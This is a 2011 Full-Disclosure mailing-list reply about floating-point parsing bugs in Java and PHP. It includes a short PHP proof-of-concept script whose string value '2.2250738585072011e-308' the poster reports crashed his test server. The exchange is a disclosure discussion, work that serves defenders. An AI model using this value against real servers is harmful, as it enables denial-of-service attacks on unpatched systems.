full-disclosure - Re: {Java,PHP} Server Exploits

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Message-ID: <AANLkTim5BPsH4mX9Cfm6LEp6=Qf-ZE73f28QhRzY7c72@mail.gmail.com>
Date: Wed, 9 Feb 2011 20:54:41 +0100
From: Christian Sciberras <uuf6429@...il.com>
To: literalka@...a.eu
Cc: full-disclosure@...ts.grok.org.uk
Subject: Re: {Java,PHP} Server Exploits

Was it fixed? What's the current status?

The sounds like a major issue, and the lack of info about it is darn
impressive.

I tried it on my test Windows WAMP server:

<?php

    ob_implicit_flush(true);

    echo 'Start test...<br/>';

    $f=(float)"2.2250738585072011e-308";
    echo 'Try 1 => '.$f.'</br>';

    $f=floatval("2.2250738585072011e-308");
    echo 'Try 2 => '.$f.'</br>';

    $f="2.2250738585072011e-308";
    echo 'Try 3 => '.(float)$f.'</br>';

    echo 'Test failed, server not vulnerable!</br>';

?>

All three tests succeeded in crashing the server.

With all due respect, this should NOT have been disclosed without being
FIXED (as it seems to me).
Plus, I'm a bit amazed such a bug exists in PHP - since converting to
floating point is a trivial operation, it should have been limited and
safe-guarded from the start.
There are a lot of servers out there happily accepting input as floating
point values, this bug should be top priority...

Chris.

On Wed, Feb 9, 2011 at 6:40 PM, Leon Kaiser <literalka@...il.com> wrote:

>
> http://developers.slashdot.org/story/11/02/09/025237/Java-Floating-Point-Bug-Can-Lock-Up-Servers
>
> http://it.slashdot.org/story/11/01/06/1820208/PHP-Floating-Point-Bug-Crashes-Server<http://it.slashdot.org/story/11/01/06/1820208/PHP-Floating-Point-Bug-Crashes-Servers>
>
>
> _______________________________________________
> Full-Disclosure - We believe in it.
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